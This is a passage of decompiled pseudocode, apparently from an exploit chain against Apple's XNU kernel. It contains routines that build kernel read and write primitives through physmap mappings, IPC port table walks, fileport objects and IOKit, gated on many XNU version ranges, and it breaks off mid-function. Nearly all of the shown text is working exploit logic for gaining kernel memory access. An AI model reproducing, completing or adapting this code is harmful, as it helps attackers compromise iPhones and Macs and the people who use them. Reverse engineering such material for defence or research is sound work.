      v147 = v4 + 16 * v130 + 8 * v144;
      v148 = *(uint64_t *)(v147 + 11024);
      if ( !v148 )
      {
LABEL_304:
        v145 = 0;
        v144 = 1;
        if ( (v146 & 1) == 0 )
          goto LABEL_307;
        continue;
      }
      break;
    }
    v149 = vm_deallocate(mach_task_self_, v148, vm_page_size);
    if ( !v149 )
    {
      *(uint64_t *)(v147 + 11024) = 0;
      goto LABEL_304;
    }
    v10 = v149 | 0x80000000;
LABEL_307:
    ++v130;
    __handleb += 688;
    v131 += 688;
    if ( v130 != 16 )
      continue;
    break;
  }
LABEL_500:
  v217 = *v260;
  if ( *v260 )
  {
    v218 = 0;
    v219 = v4 + 13892;
    do
    {
      v220 = *(uint32_t *)(v219 + 4 * v218);
      if ( v220 + 1 >= 2 )
      {
        mach_port_deallocate(mach_task_self_, v220);
        *(uint32_t *)(v219 + 4 * v218) = 0;
        v217 = *v260;
      }
      ++v218;
    }
    while ( v218 < v217 );
  }
  *v260 = 0;
  v221 = *(uint32_t *)(v4 + 26184);
  if ( v221 )
  {
    v222 = 0;
    v223 = v4 + 17992;
    do
    {
      v224 = *(uint64_t *)(v223 + 8 * v222);
      if ( v224 )
      {
        vm_deallocate(mach_task_self_, v224, vm_page_size);
        *(uint64_t *)(v223 + 8 * v222) = 0;
        v221 = *(uint32_t *)(v4 + 26184);
      }
      ++v222;
    }
    while ( v222 < v221 );
  }
  *(uint32_t *)(v4 + 26184) = 0;
  v225 = *(uint64_t *)(v5 + 344);
  if ( v225 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
  {
    if ( v225 >= XNU_VERSION_PACKED(7195, 42, 1, 0, 0) && ((*(uint32_t *)v5 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || v225 >= XNU_VERSION_PACKED(8019, 0, 0, 0, 0)) )
      goto LABEL_532;
    *(uint64_t *)v319 = -1;
    *(uint64_t *)a1 = -1;
    pipe = fd_make_pipe(a1);
    if ( !pipe )
    {
      pipe = setup_two_fds(a1);
      if ( !pipe )
      {
        pipe = fd_make_pipe((int *)v319);
        if ( !pipe )
        {
          v236 = kread_task_struct((struct_krwCtx *)v5, mach_task_self_);
          if ( v236 )
          {
            v237 = v236;
            pipe = read_ipc_port_table_entry((uint32_t *)v5, v236, a1[0], (__int64 *)outputStruct);
            if ( !pipe )
            {
              pipe = read_ipc_port_table_entry((uint32_t *)v5, v237, v319[0], (__int64 *)&name);
              if ( !pipe )
              {
                if ( kwrite64(
                       (struct_krwCtx *)v5,
                       *(uint64_t *)&outputStruct[0].msgh_bits + 16LL,
                       *(__int64 *)&name.msgh_bits) )
                {
                  pipe = 258052;
                  v238 = a1[0];
                  v239 = a1[1];
                  *(uint32_t *)(v5 + 6448) = a1[0];
                  *(uint32_t *)(v5 + 6452) = v239;
                  v240 = v319[0];
                  v241 = v319[1];
                  *(uint32_t *)(v5 + 6456) = v319[0];
                  *(uint32_t *)(v5 + 6460) = v241;
                  if ( v238 != -1 && v239 != -1 && v240 != -1 && v241 != -1 )
                  {
                    pipe = fileport_kobj_vm_attr_check((struct_krwCtx *)v5, v238);
                    if ( !pipe )
                    {
                      pipe = fileport_kobj_vm_attr_check((struct_krwCtx *)v5, *(uint32_t *)(v5 + 6452));
                      if ( !pipe )
                      {
                        pipe = fileport_kobj_vm_attr_check((struct_krwCtx *)v5, *(uint32_t *)(v5 + 6456));
                        if ( !pipe )
                        {
                          pipe = fileport_kobj_vm_attr_check((struct_krwCtx *)v5, *(uint32_t *)(v5 + 6460));
                          if ( !pipe )
                          {
LABEL_531:
                            v305 = pipe;
                            goto LABEL_547;
                          }
                        }
                      }
                    }
                  }
                }
                else
                {
                  pipe = 163856;
                }
              }
            }
          }
          else
          {
            pipe = 163878;
          }
        }
      }
    }
    if ( a1[0] != -1 )
      close(a1[0]);
    if ( a1[1] != -1 )
      close(a1[1]);
    if ( v319[0] != -1 )
      close(v319[0]);
    if ( v319[1] != -1 )
      close(v319[1]);
    *(uint64_t *)(v5 + 6456) = -1;
    *(uint64_t *)(v5 + 6448) = -1;
    goto LABEL_531;
  }
  v226 = (*(uint32_t *)v5 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || v225 > XNU_VERSION_PACKED(8020, 99, 1023, 1023, 1023);
  if ( !v226 )
  {
LABEL_532:
    *(uint64_t *)&outputStruct[0].msgh_bits = -1;
    v228 = task_proc_struct_field_offset((struct_krwCtx *)v5);
    if ( v228 )
    {
      v229 = v228;
      v314 = 0;
      v230 = fd_make_pipe((int *)outputStruct);
      if ( v230 || (v230 = setup_two_fds((int *)outputStruct)) != 0 )
      {
        v231 = -1;
        v305 = v230;
        goto LABEL_536;
      }
      fd_write((__int64)outputStruct, &v314, 4u);
      fd_read((int *)outputStruct, &v314, 4u);
      v233 = socket(2, 2, 0);
      if ( v233 == -1 )
      {
        v242 = errno;
        v243 = errno;
        if ( v242 < 0 )
          v243 = -v243;
        v305 = v243 | 0x40000000;
        v231 = -1;
LABEL_536:
        v232 = -1;
        goto LABEL_537;
      }
      v231 = v233;
      v234 = open("/private/etc/group", 0);
      if ( v234 == -1 )
      {
        v244 = errno;
        v245 = errno;
        if ( v244 < 0 )
          v245 = -v245;
        v305 = v245 | 0x40000000;
        v232 = -1;
        goto LABEL_537;
      }
      v232 = v234;
      if ( !kread_physmap_decorated((struct_krwCtx *)v5, *(uint64_t *)(v4 + 11280) + v229, (unsigned __int64 *)&v317) )
        goto LABEL_537;
      v235 = get_ipc_kobject_offset((struct_krwCtx *)v5, v317, &outputStructCnt);
      if ( v235 )
        goto LABEL_553;
      if ( *(uint64_t *)(v5 + 544) )
      {
        v246 = outputStructCnt;
LABEL_578:
        if ( !kread_physmap_decorated(
                (struct_krwCtx *)v5,
                v246 + (int)outputStruct[0].msgh_bits * (__int64)*(int *)(v5 + 360),
                (unsigned __int64 *)&name.msgh_bits)
          || !kread_physmap_decorated((struct_krwCtx *)v5, *(uint64_t *)&name.msgh_bits + 16LL, (unsigned __int64 *)a1)
          || !kread_physmap_decorated((struct_krwCtx *)v5, *(uint64_t *)a1 + 56LL, (unsigned __int64 *)&v315)
          || !kread_physmap_decorated((struct_krwCtx *)v5, v315 + 16, (unsigned __int64 *)&v316) )
        {
          goto LABEL_537;
        }
        if ( validate_kaddr_range(v5, v316) )
        {
          if ( !kread_physmap_decorated(
                  (struct_krwCtx *)v5,
                  v246 + *(int *)(v5 + 360) * (__int64)v231,
                  (unsigned __int64 *)&name.msgh_bits)
            || !kread_physmap_decorated((struct_krwCtx *)v5, *(uint64_t *)&name.msgh_bits + 16LL, (unsigned __int64 *)v319) )
          {
            goto LABEL_537;
          }
          v235 = krw_fd_verify_roundtrip(v5, (int *)outputStruct, *(unsigned __int64 *)v319);
          if ( v235 )
          {
LABEL_553:
            v305 = v235;
            goto LABEL_537;
          }
          if ( kwrite64((struct_krwCtx *)v5, *(uint64_t *)&name.msgh_bits + 16LL, v316) )
          {
            v247 = outputStruct[0].msgh_bits;
            msgh_size = outputStruct[0].msgh_size;
            *(uint32_t *)(v5 + 6448) = outputStruct[0].msgh_bits;
            *(uint32_t *)(v5 + 6452) = msgh_size;
            *(uint32_t *)(v5 + 6464) = v231;
            v249 = v316;
            *(uint64_t *)(v5 + 536) = v316;
            v305 = 163841;
            if ( v247 != -1 && msgh_size != -1 )
            {
              if ( v249 )
              {
                v305 = fileport_kobj_vm_attr_check((struct_krwCtx *)v5, v247);
                if ( !v305 )
                {
                  v305 = fileport_kobj_vm_attr_check((struct_krwCtx *)v5, *(uint32_t *)(v5 + 6452));
                  goto LABEL_620;
                }
              }
            }
            goto LABEL_537;
          }
          v258 = 163856;
        }
        else
        {
          v258 = 163878;
        }
        v305 = v258;
        goto LABEL_537;
      }
      v313 = 0;
      v246 = outputStructCnt;
      if ( kread_physmap_decorated(
             (struct_krwCtx *)v5,
             outputStructCnt + *(int *)(v5 + 360) * (__int64)v232,
             (unsigned __int64 *)&name.msgh_bits)
        && kread_physmap_decorated((struct_krwCtx *)v5, *(uint64_t *)&name.msgh_bits + 16LL, (unsigned __int64 *)a1)
        && kread_physmap_decorated((struct_krwCtx *)v5, *(uint64_t *)a1 + 40LL, &v313) )
      {
        v250 = 128;
        if ( *(int *)(v5 + 320) > 8019 )
          v250 = -131072;
        v251 = v250 + v313;
        if ( *(int *)(v5 + 320) <= 8019 )
          v252 = v313 + 1024;
        else
          v252 = v313;
        if ( v251 < v252 )
        {
          v253 = 0;
          v254 = 0;
          do
          {
            v255 = kread_physmap_decorated((struct_krwCtx *)v5, v251, &v312);
            if ( v253 )
            {
              if ( !v255 )
                goto LABEL_620;
              v256 = v312;
              if ( (v312 & 0x80000000000000LL) != 0 )
                v256 = v312 | 0xFFFFFF8000000000LL;
              if ( v256 < *(uint64_t *)(v5 + 6632)
                || ((v256 & 3) == 0 ? (v257 = v256 >= *(uint64_t *)(v5 + 6640)) : (v257 = 1), v257) )
              {
                v254 = 0;
                v253 = 0;
              }
              else if ( ++v254 == 7 )
              {
                *(uint64_t *)(v5 + 544) = v253;
                goto LABEL_578;
              }
            }
            else
            {
              if ( !v255 )
                goto LABEL_620;
              if ( v312 == 7 )
                v253 = v251;
              else
                v253 = 0;
            }
            v251 += *(int *)(v5 + 360);
          }
          while ( v251 < v252 );
        }
        v305 = 0;
      }
LABEL_620:
      if ( v305 )
      {
LABEL_537:
        if ( outputStruct[0].msgh_bits != -1 )
          close(outputStruct[0].msgh_bits);
        if ( outputStruct[0].msgh_size != -1 )
          close(outputStruct[0].msgh_size);
        *(uint64_t *)(v5 + 6448) = -1;
        if ( v231 != -1 )
          close(v231);
        *(uint32_t *)(v5 + 6464) = -1;
      }
      else
      {
        v305 = 0;
      }
      if ( v232 != -1 )
        close(v232);
    }
    else
    {
      v305 = 163884;
    }
LABEL_547:
    v10 = v305;
    if ( !v305 )
    {
      *(uint32_t *)(v5 + 232) = 0;
      *(__int128 *)(v5 + 240) = 0u;
      *(__int128 *)(v5 + 256) = 0u;
      *(uint64_t *)(v5 + 272) = 0;
    }
  }
#undef outputStruct
#undef v323
#undef v324
#undef v325
#undef v326
#undef v327
#undef v328
#undef v329
#undef v330
#undef v331
#undef v332
#undef v333
#undef v334
#undef v335
  return v10;
}
// D7C4: conditional instruction was optimized away because w22.4==0
// CEF4: variable 'v3' is possibly undefined
// EAD8: variable 'kobject' is possibly undefined
// ED8C: variable 'v209' is possibly undefined
// EDB0: variable 'v211' is possibly undefined
// 68: using guessed type struct section_64 stru_68;
// 42EC0: using guessed type __int128 xmmword_42EC0;
// 48940: using guessed type __int64 __fastcall __chkstk_darwin(uint64_t, uint64_t);

//----- (000000000000F860) ----------------------------------------------------
__int64 __fastcall ioconnect_kread_physmap(__int64 a1, __int64 a2, __int64 a3, unsigned int a4)
{
  __int64 result; // x0
  __int64 v6; // x23
  uint64_t *v7; // x24
  __int64 v8; // x19
  unsigned __int64 v9; // x26
  unsigned __int64 v10; // x27
  vm_size_t v11; // x8
  vm_address_t v12; // x20
  __int64 v13; // x28
  __int64 v14; // x9
  unsigned __int64 v15; // x22
  unsigned __int64 v16; // x21
  unsigned __int64 v17; // x25
  size_t v19; // x22
  kern_return_t v20; // w0
  vm_address_t v21; // [xsp+0h] [xbp-F0h]
  __int64 v22; // [xsp+8h] [xbp-E8h]
  __int64 v23; // [xsp+10h] [xbp-E0h]
  unsigned __int64 v24; // [xsp+18h] [xbp-D8h]
  __int64 v26; // [xsp+28h] [xbp-C8h]
  __int64 v27; // [xsp+30h] [xbp-C0h]
  __int64 v28; // [xsp+38h] [xbp-B8h]
  mach_port_t object_name; // [xsp+40h] [xbp-B0h] BYREF
  mach_msg_type_number_t infoCnt; // [xsp+44h] [xbp-ACh] BYREF
  int info[9]; // [xsp+48h] [xbp-A8h] BYREF
  __int16 v32; // [xsp+68h] [xbp-88h]
  vm_size_t size; // [xsp+70h] [xbp-80h] BYREF
  vm_address_t address; // [xsp+78h] [xbp-78h] BYREF
  uint64_t __src[2]; // [xsp+80h] [xbp-70h] BYREF

  result = 708642;
  v6 = *(uint64_t *)(a1 + 80);
  if ( !v6 )
    return 708609;
  v7 = *(uint64_t **)(v6 + 13384);
  v8 = *(uint64_t *)(v6 + 13400);
  if ( *(uint64_t *)(v8 + 24) == v7[2] && *(uint64_t *)(v8 + 8) == *(uint64_t *)(v6 + 13392) && *v7 == *(uint64_t *)(v6 + 13408) )
  {
    if ( !a4 )
      return 0;
    v28 = *(uint64_t *)(v6 + 13392);
    v9 = 0;
    v10 = a4;
    v11 = vm_page_size;
    v12 = v7[3] - vm_page_size;
    v23 = a2;
    v24 = a4;
    v21 = v12;
    v22 = a1;
    while ( 1 )
    {
      v13 = v9 + a2;
      v14 = *(uint64_t *)(a1 + 392) & (v9 + a2);
      v15 = v14 + 64;
      v16 = *(unsigned int *)(a1 + 384);
      v17 = v14 + v10;
      address = v12;
      infoCnt = 9;
      *(uint64_t *)(v8 + 8) = v7[1];
      madvise(*(void **)(v6 + 11296), 2 * v11, 2);
      v26 = v7[1];
      v27 = v7[3];
      if ( v15 <= v16 || v17 > v16 )
      {
        v7[1] = v13 - 16;
        v7[3] = v12;
        v20 = vm_region_64(mach_task_self_, &address, &size, 9, info, &infoCnt, &object_name);
        v7[1] = v26;
        v7[3] = v27;
        *(uint64_t *)(v8 + 8) = v28;
        ++*(uint64_t *)(v6 + 13416);
        if ( v20 )
          return v20 | 0x80000000;
        if ( v10 >= 0x10 )
          v19 = 16;
        else
          v19 = v10;
        __src[0] = address;
        __src[1] = size + address;
      }
      else
      {
        v7[1] = v13 - 78;
        v7[3] = v12;
        v20 = vm_region_64(mach_task_self_, &address, &size, 9, info, &infoCnt, &object_name);
        v7[1] = v26;
        v7[3] = v27;
        *(uint64_t *)(v8 + 8) = v28;
        ++*(uint64_t *)(v6 + 13416);
        if ( v20 )
          return v20 | 0x80000000;
        if ( v10 >= 2 )
          v19 = 2;
        else
          v19 = v10;
        LOWORD(__src[0]) = *(uint16_t *)&info[8];
      }
      memcpy((void *)(a3 + v9), __src, v19);
      v9 += v19;
      if ( v9 >= v24 )
        return 0;
      v10 -= v19;
      v28 = *(uint64_t *)(v8 + 8);
      v11 = vm_page_size;
      a1 = v22;
      a2 = v23;
      v12 = v21;
    }
  }
  return result;
}

//----- (000000000000FAE4) ----------------------------------------------------
__int64 __fastcall physmap_read_rebuild_page(uint64_t *a1, int8x8_t *a2)
{
  vm_size_t v4; // x21
  char v5; // w24
  unsigned __int64 v6; // x8
  unsigned __int64 v7; // x10
  unsigned __int64 v8; // x12
  __int64 v9; // x8
  __int64 v10; // x25
  __int64 v11; // x22
  vm_address_t v12; // x8
  __int64 v13; // x23
  vm_size_t v14; // x23
  kern_return_t v15; // w0
  __int64 v16; // x27
  __int64 v17; // x26
  __int64 v18; // x10
  __int64 v19; // x8
  __int64 v20; // x12
  int8x8_t v21; // x11
  __int64 v22; // x13
  __int64 v23; // x14
  kern_return_t memory_entry; // w0
  uint8x8_t v25; // d0
  bool v26; // zf
  mem_entry_name_port_t object_handle; // [xsp+4h] [xbp-6Ch] BYREF
  vm_size_t size; // [xsp+8h] [xbp-68h] BYREF
  vm_address_t address; // [xsp+10h] [xbp-60h] BYREF
  __int64 __buf; // [xsp+18h] [xbp-58h] BYREF

  v4 = vm_page_size;
  v5 = vm_page_shift;
  __buf = 0;
  arc4random_buf(&__buf, 8u);
  v6 = a1[1];
  v7 = v6 >> 34;
  v8 = v6 >> 33;
  v26 = HIDWORD(v6) == 0;
  v9 = 0x40000;
  if ( !v26 )
    v9 = 0x80000;
  if ( v8 )
    v9 = 0x100000;
  if ( v7 )
    v10 = 0x200000;
  else
    v10 = v9;
  v11 = 708609;
  v12 = a1[1681];
  address = v12;
  if ( v12 )
  {
    v13 = a1[1682];
    if ( v13 )
    {
      madvise((void *)(v12 - v4 + v13), v4, 3);
      v14 = v13 - v4;
      v15 = vm_allocate(mach_task_self_, &address, v14, -905953280);
      if ( v15 )
        return v15 | 0x80000000;
      v16 = 0;
      v11 = 708625;
LABEL_13:
      v17 = v16 & 0x7F;
      if ( v16 )
      {
        if ( (v16 & 0x7F) == 0 )
        {
          v15 = vm_allocate(mach_task_self_, &address, v14, -905953280);
          if ( v15 )
            return v15 | 0x80000000;
        }
      }
      v18 = __buf + v16;
      *(uint64_t *)(address + v4 * v17) = __buf + v16;
      __dsb(0xBu);
      v19 = a2[4].u32[0];
      if ( !(uint32_t)v19 )
        goto LABEL_28;
      v20 = 0;
      v21 = a2[3];
      while ( 1 )
      {
        v22 = 1LL << v20;
        if ( (*(uint64_t *)&v21 & (1LL << v20)) == 0 )
        {
          v23 = *(uint64_t *)(*(uint64_t *)a2 + (unsigned int)((uint32_t)v20 << v5));
          if ( v23 == v18 )
          {
            size = v4;
            object_handle = 0;
            a2[3] = (int8x8_t){ .u64 = { *(uint64_t *)&v21 | v22 } };
            memory_entry = mach_make_memory_entry(
                             mach_task_self_,
                             &size,
                             address + v4 * v17,
                             2097155,
                             &object_handle,
                             0);
            if ( memory_entry )
            {
              v11 = memory_entry | 0x80000000;
            }
            else
            {
              v11 = 0;
              a2[5].i32[0] = object_handle;
            }
            LODWORD(v19) = a2[4].i32[0];
LABEL_28:
            v25 = (uint8x8_t)vcnt_s8(a2[3]);
            v25.i16[0] = vaddlv_u8(v25);
            ++v16;
            v26 = (uint32_t)v19 == v25.i32[0] || (uint32_t)v11 == 0;
            if ( v26 || v16 == v10 )
              return v11;
            goto LABEL_13;
          }
          if ( v23 != a1[1699] )
          {
            *(uint64_t *)&v21 |= v22;
            a2[3] = v21;
          }
        }
        if ( v19 == ++v20 )
          goto LABEL_28;
      }
    }
  }
  return v11;
}

//----- (000000000000FD18) ----------------------------------------------------
__int64 __fastcall check_physmap_page_count(uint32_t *a1, __int64 a2)
{
  unsigned int v2; // w9
  __int64 v3; // x8
  uint8x8_t v4; // d0
  vm_size_t v6; // x20
  char v7; // w22
  __int64 v8; // x23
  vm_address_t v9; // x21
  kern_return_t v10; // w0

  v2 = *(uint32_t *)(a2 + 32);
  v3 = *(uint64_t *)(a2 + 24);
  v4 = (uint8x8_t)vcnt_s8((int8x8_t){ .u64 = { v3 } });
  v4.i16[0] = vaddlv_u8(v4);
  if ( v2 == v4.i32[0] )
    return 0;
  v6 = vm_page_size;
  v7 = vm_page_shift;
  if ( *a1 == 3 && (unsigned int)(*(uint32_t *)(a2 + 36) + 1) < 2 )
    return 0;
  if ( !v2 )
    return 0;
  v8 = 0;
  while ( (v3 & (1LL << v8)) != 0 )
  {
LABEL_10:
    if ( ++v8 >= (unsigned __int64)v2 )
      return 0;
  }
  v9 = *(uint64_t *)a2 + (unsigned int)((uint32_t)v8 << v7);
  v10 = vm_protect(mach_task_self_, v9, v6, 0, 0);
  if ( !v10 )
  {
    v10 = vm_protect(mach_task_self_, v9, v6, 0, 3);
    if ( !v10 )
    {
      v3 = *(uint64_t *)(a2 + 24) | (1LL << v8);
      *(uint64_t *)(a2 + 24) = v3;
      v2 = *(uint32_t *)(a2 + 32);
      goto LABEL_10;
    }
  }
  return v10 | 0x80000000;
}

//----- (000000000000FE30) ----------------------------------------------------
__int64 __fastcall map_sptm_state_page(__int64 a1)
{
  mem_entry_name_port_t v1; // w5
  __int64 v2; // x20
  vm_size_t v3; // x19
  kern_return_t v4; // w0
  int v5; // w8
  vm_address_t address; // [xsp+18h] [xbp-28h] BYREF

  v1 = *(uint32_t *)(a1 + 13552);
  if ( v1 + 1 < 2 )
    return 708609;
  address = 0;
  v3 = vm_page_size;
  v4 = vm_map(mach_task_self_, &address, vm_page_size, 0, 1, v1, 0, 0, 3, 3, 2u);
  if ( v4 )
    return v4 | 0x80000000;
  if ( madvise((void *)address, v3, 3) )
  {
    v5 = errno;
    if ( v5 < 0 )
      v5 = -v5;
    v2 = v5 | 0x40000000u;
  }
  else
  {
    v2 = 0;
  }
  vm_deallocate(mach_task_self_, address, v3);
  return v2;
}

//----- (000000000000FF10) ----------------------------------------------------
__int64 __fastcall get_physmap_region_ptrs(__int64 a1, __int64 a2, __int64 a3, uint64_t *a4)
{
  unsigned __int64 v4; // x11
  int *v5; // x8
  int v6; // w10
  int v7; // w14
  int v8; // w11
  int v9; // w12
  int v10; // w13
  __int64 v11; // x9
  __int64 v12; // x8
  bool v13; // cc
  __int64 result; // x0

  v4 = *(uint64_t *)(a1 + 344);
  if ( v4 >= XNU_VERSION_PACKED(10002, 2, 13, 0, 0) )
  {
    v5 = (int *)(a2 + 124);
    v6 = *(uint32_t *)(a2 + 124);
    v7 = 2048;
    v8 = 0x1000000;
    v9 = 128;
    v10 = 0x4000;
    v11 = 88LL;
    goto LABEL_23;
  }
  if ( v4 <= XNU_VERSION_PACKED(8796, 142, 1, 700, 13) )
  {
    v5 = (int *)(a2 + 116);
    v6 = *(uint32_t *)(a2 + 116);
    v11 = 80LL;
LABEL_11:
    v13 = v4 > XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023);
    if ( v4 <= XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023) )
      v10 = 0x80000;
    else
      v10 = 0x4000;
    if ( v4 <= XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023) )
      v9 = 4096;
    else
      v9 = 128;
    if ( v4 <= XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023) )
      v8 = 0x20000000;
    else
      v8 = 0x1000000;
    if ( v13 )
      v7 = 2048;
    else
      v7 = 0x10000;
    goto LABEL_23;
  }
  v12 = 116LL;
  if ( *(int *)(a1 + 320) < 10002 )
    v12 = 124LL;
  v11 = 80LL;
  if ( *(int *)(a1 + 320) < 10002 )
    v11 = 88LL;
  v5 = (int *)(a2 + v12);
  v6 = *v5;
  if ( v4 <= XNU_VERSION_PACKED(10002, 0, 198, 1023, 1023) )
    goto LABEL_11;
  v7 = 2048;
  v8 = 0x1000000;
  v9 = 128;
  v10 = 0x4000;
LABEL_23:
  if ( ((v7 | v10) & ~v6) != 0 )
    return 163857LL;
  *v5 = v9 | v6 | v8;
  if ( a4 )
    *a4 = *(uint64_t *)(a2 + v11);
  result = 0LL;
  *(uint64_t *)(a2 + v11) = a3;
  return result;
}

//----- (000000000001003C) ----------------------------------------------------
__int64 __fastcall iokit_kwrite_via_port(
        struct_krwCtx *a1,
        __int64 a2,
        __int64 a3,
        int a4,
        __int64 a5,
        __int64 a6,
        unsigned __int64 a7)
{
  unsigned __int64 v14; // x0
  vm_size_t v15; // x8
  unsigned __int64 v16; // x8
  unsigned __int64 xnuVersionPacked; // x8
  __int64 v18; // x9
  __int64 result; // x0
  int v20; // w10
  int v21; // w12
  int v22; // w8
  int v23; // [xsp+Ch] [xbp-44h] BYREF

  v14 = kernel_va_base_resolver(a1, 0, &v23);
  if ( !v14 )
    return 708609;
  *(__int128 *)(a5 + 16) = 0u;
  *(__int128 *)(a5 + 32) = 0u;
  *(uint64_t *)(a5 + 48) = 0;
  *(__int128 *)a5 = 0u;
  v15 = a7 / vm_page_size;
  *(uint64_t *)(a5 + 24) = 0;
  *(uint64_t *)(a5 + 48) = v15;
  v16 = (a3 - v14) >> v23;
  *(uint32_t *)(a5 + 44) = 320;
  *(uint32_t *)(a5 + 32) = v16;
  *(uint32_t *)(a5 + 36) = 0x2000000;
  *(uint64_t *)(a2 + 32) = a6;
  if ( !a4 )
    return 0;
  xnuVersionPacked = a1->xnuVersionPacked;
  if ( xnuVersionPacked <= XNU_VERSION_PACKED(10002, 2, 12, 1023, 1023) )
  {
    if ( xnuVersionPacked < XNU_VERSION_PACKED(8796, 142, 1, 700, 14) )
    {
      v18 = 116;
    }
    else
    {
      v18 = 116;
      if ( a1->xnuMajorVersion < 10002 )
        v18 = 124;
    }
  }
  else
  {
    v18 = 124;
  }
  v20 = *(uint32_t *)(a2 + v18);
  if ( xnuVersionPacked <= XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023) )
    v21 = 589824;
  else
    v21 = 18432;
  if ( (v21 & ~v20) != 0 )
    return 163857;
  result = 0;
  if ( xnuVersionPacked <= XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023) )
    v22 = 4096;
  else
    v22 = 128;
  *(uint32_t *)(a2 + v18) = v20 | v22;
  return result;
}

//----- (00000000000101AC) ----------------------------------------------------
void __fastcall cfdict_set_int32(CFDictionaryRef *a1, const void *a2)
{
  CFNumberRef v4; // x21
  int valuePtr; // [xsp+Ch] [xbp-24h] BYREF

  valuePtr = 32;
  v4 = CFNumberCreate(0, kCFNumberIntType, &valuePtr);
  CFDictionarySetValue(a1, a2, v4);
  CFRelease(v4);
}

//----- (0000000000010214) ----------------------------------------------------
__int64 __fastcall setup_vm_for_kwrite(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  __int64 v5; // x19
  __int64 v6; // x22
  int has_flag; // w0
  __int64 v8; // x8
  unsigned __int64 v9; // x0
  unsigned __int64 v10; // x22
  vm_size_t v11; // x21
  mem_entry_name_port_t v12; // w5
  kern_return_t v14; // w0
  int v15; // w8
  vm_address_t v16; // x9
  vm_address_t v17; // x9
  unsigned __int64 v18; // [xsp+10h] [xbp-70h] BYREF
  __int64 v19; // [xsp+18h] [xbp-68h] BYREF
  uint64_t v20[7]; // [xsp+20h] [xbp-60h] BYREF
  vm_address_t address; // [xsp+58h] [xbp-28h] BYREF

  v5 = 163855;
  if ( (unsigned int)krw_read_thunk(
                       (struct_krwCtx *)a1,
                       8LL * (unsigned int)((a3 - *(uint64_t *)(a2 + 13568)) >> vm_page_shift) + *(uint64_t *)(a2 + 13576),
                       8,
                       &v19) )
  {
    if ( (~(uint8_t)v19 & 3) != 0 )
      return 708628;
    v6 = v19 & 0xFFFFFFFFFFFCLL;
    has_flag = krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A8);
    v8 = 32;
    if ( !has_flag )
      v8 = 8;
    if ( kread_physmap_decorated((struct_krwCtx *)a1, v6 + v8 - 0xFFFFFFFFFFE8LL, &v18) )
    {
      v9 = map_physpage_for_kobj((struct_krwCtx *)a1, v18 + ((a3 >> 10) & 0xC));
      if ( !v9 )
        return 163878;
      v10 = v9;
      address = 0;
      v11 = vm_page_size;
      v12 = *(uint32_t *)(a1 + 88);
      if ( v12 + 1 > 1 )
      {
        v14 = vm_map(mach_task_self_, &address, vm_page_size, 0, 1, v12, v9 & ~*(uint64_t *)(a1 + 392), 0, 3, 3, 2u);
        if ( v14 )
          return v14 | 0x80000000;
      }
      else if ( (unsigned int)physmap_map_cached((struct_krwCtx *)a1, v9, (__int64)v20) )
      {
        return 0xFFFFFFFFLL;
      }
      v15 = *(uint32_t *)(a1 + 88);
      if ( (unsigned int)(v15 + 1) >= 2 )
        v16 = address;
      else
        v16 = v20[0];
      v17 = (*(uint64_t *)(a1 + 392) & v10) + v16;
      if ( *(uint16_t *)v17 )
      {
        v5 = 0;
        atomic_fetch_add((atomic_ushort *volatile)v17, 0xFFFFu);
        *(uint16_t *)(v17 + 2) = 0x4000;
        v15 = *(uint32_t *)(a1 + 88);
      }
      else
      {
        v5 = 163857;
      }
      if ( (unsigned int)(v15 + 1) >= 2 )
        vm_deallocate(mach_task_self_, address, v11);
      else
        physmap_unmap_cached(a1, (__int64)v20);
    }
  }
  return v5;
}

//----- (0000000000010414) ----------------------------------------------------
__int64 __fastcall get_ipc_kobject_offset(struct_krwCtx *a1, __int64 a2, unsigned __int64 *a3)
{
  int xnuMajorVersion; // w8
  __int64 result; // x0
  __int64 v7; // x8
  int v9; // w8
  unsigned __int64 v10; // [xsp+8h] [xbp-28h] BYREF

  xnuMajorVersion = a1->xnuMajorVersion;
  result = 163884;
  if ( xnuMajorVersion <= 8791 )
  {
    if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 )
    {
      if ( xnuMajorVersion != 7195 )
        return result;
      v7 = 248;
      goto LABEL_12;
    }
LABEL_10:
    v7 = 256;
    if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
      v7 = 248;
LABEL_12:
    if ( !kread_physmap_decorated(a1, v7 + a2, &v10) )
      return 163855;
    if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) || (v9 = kread_physmap_decorated(a1, v10, &v10), result = 163855, v9) )
    {
      if ( validate_kaddr_range((__int64)a1, v10) )
      {
        result = 0;
        *a3 = v10;
      }
      else
      {
        return 163878;
      }
    }
    return result;
  }
  if ( xnuMajorVersion == 8796 || xnuMajorVersion == 8792 )
    goto LABEL_10;
  return result;
}

//----- (0000000000010534) ----------------------------------------------------
__int64 __fastcall read_ipc_port_table_entry(struct_krwCtx *a1, __int64 a2, unsigned int a3, unsigned __int64 *a4)
{
  __int64 v7; // x19
  __int64 v9; // [xsp+8h] [xbp-38h] BYREF
  __int64 v10; // [xsp+10h] [xbp-30h] BYREF
  unsigned __int64 v11; // [xsp+18h] [xbp-28h] BYREF

  *a4 = 0;
  v9 = 0;
  v7 = get_ipc_kobject_offset(a1, a2, &v11);
  if ( !(uint32_t)v7 )
  {
    v7 = 163855;
    if ( kread_physmap_decorated(a1, v11 + 8LL * a3, (unsigned __int64 *)&v10) )
    {
      if ( validate_kaddr_range((__int64)a1, v10) )
      {
        if ( kread_physmap_decorated(a1, v10 + 16, (unsigned __int64 *)&v9) )
        {
          validate_kaddr_range((__int64)a1, v9);
          if ( kread_physmap_decorated(a1, v9 + 56, a4) )
            return 0;
          else
            return 163855;
        }
      }
      else
      {
        return 163878;
      }
    }
  }
  return v7;
}

//----- (0000000000010604) ----------------------------------------------------
__int64 __fastcall kwrite_u64_via_kobject(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
